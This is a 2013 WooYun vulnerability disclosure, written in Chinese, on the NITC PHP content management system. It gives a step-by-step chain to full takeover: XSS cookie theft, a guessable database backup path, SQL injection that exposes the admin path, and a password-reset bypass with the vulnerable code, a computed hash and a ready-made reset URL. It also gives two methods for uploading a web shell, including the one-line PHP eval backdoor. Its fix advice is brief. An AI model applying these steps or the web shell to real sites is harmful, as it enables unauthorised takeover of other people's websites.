当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-036597

漏洞标题:NITC程序代码审计漏洞全集

相关厂商:NITC

漏洞作者: 路人甲

提交时间:2013-09-10 18:04

修复时间:2013-12-09 18:05

公开时间:2013-12-09 18:05

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-09-10: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-12-09: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

NIT最新版本的.net漏洞网上早有。本次检查最新 3-2-1版本php。
漏洞包括:xss , 数据库备份泄露,程序逻辑设计漏洞,注入...

详细说明:

1. /inquiry.php XSS获取管理员cookie:
2. 默认后台的 数据库备份路径: \office\backdb
备份数据库的格式:2013-09-05-111224.sql  最后6位 几小时 几分 几秒,示例:11点12分24秒
3.
前提是后台未开启 整站 全静态化。否则无法访问index.php
/index.php?directory=0&action=content&channel_flag=1&rid=3 

7.png


4. 获取后台地址: SQL注入:nitc_statistics 这个表,referrer与pageurl字段 会获得后台信息。(程序设计漏洞,为什么这个表要存放那么多访问URL信息)
另一个获取路径方法xss getcookie
5.拿到MD5破解不了。 程序对管理员密码多了一层加密,通过分析代码,可以知道数据库ntic_user管理员默认加密方式是: md5(密码+'hd')
比如:密码是888888, 存储在数据库的是md5(888888hd) 即:8bee06d9d1dfe88246734d6eae6e3d2f
但是,操蛋的是找回密码的地方,默认地址:/office/get_password.php 可以在知道MD5情况下轻易绕过:
6.后台拿SHELL方法更是多。 说2个方便快捷的
一:/includes/ckeditor/plugins/ckfinder/ckfinder.html  
IIS6.0 新建1.php文件夹,上传1.jpg马。 利用IIS6.0解析漏洞
二:修改网站配置,记得拿到SHELL了给人家恢复过来: <?php @eval($_POST[xxx])?>
然后到数据库备份页面,备份nitc_config表,到可以执行的目录下面。100%成功率

漏洞证明:

1.

1.png


2. 这种暴力破解还是需要点时间的。未尝试,因为其他几种方法足以getshell任何一个站
3.

1.png

2.png


4.

3.png


5.

默认管理后台下面有个找回密码:/office/get_password.php,代码:
......
if ( !empty( $_GET['action'] ) && $_GET['action'] == "reset_pwd" )
{
$code = !empty( $_GET['code'] ) ? trim( $_GET['code'] ) : "";
$adminid = !empty( $_GET['uid'] ) ? intval( $_GET['uid'] ) : 0;
if ( $adminid == 0 && empty( $code ) )
{
header( "Location: privilege.php?action=login\n" );
exit( );
}
$password = $db->getOne( "SELECT password FROM ".$site->table( "user" ).( " WHERE user_id = '".$adminid."'" ) );
if ( md5( $adminid.$password ) != $code )  //这里是重点,只要通过这里,我们就可以充值密码
{
$link[0]['text'] = "返回";
$link[0]['href'] = "privilege.php?action=login";
sys_msg( "您执行了一个不合法的请求,请返回!", 0, $link );
}
else
{
$form_act = "reset_pwd";
}
}
......


分析可以知道:$adminid通常为 1   ; $password为我们已经拿到的管理员密码md5值比如 8bee06d9d1dfe88246734d6eae6e3d2f
如果,$code == md5(18bee06d9d1dfe88246734d6eae6e3d2f) == 8c11c8f3d7aabf417f26373791d49082 经过拼凑:
访问此URL,可以直接充值密码:http://XXX.COM/office/get_password.php?action=reset_pwd&uid=1&code=8c11c8f3d7aabf417f26373791d49082
6.

4.png


修复方案:

关于修复,因为审计代码时候找到太多太多。
好好过滤xss,程序逻辑漏洞。
总之,这套程序90%的可以getshell.需要大修补。官方也不例外。

5.png


谷歌用这程序的还是很多的,官方需要注意下安全问题。还有.NET的上传问题也要修补。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝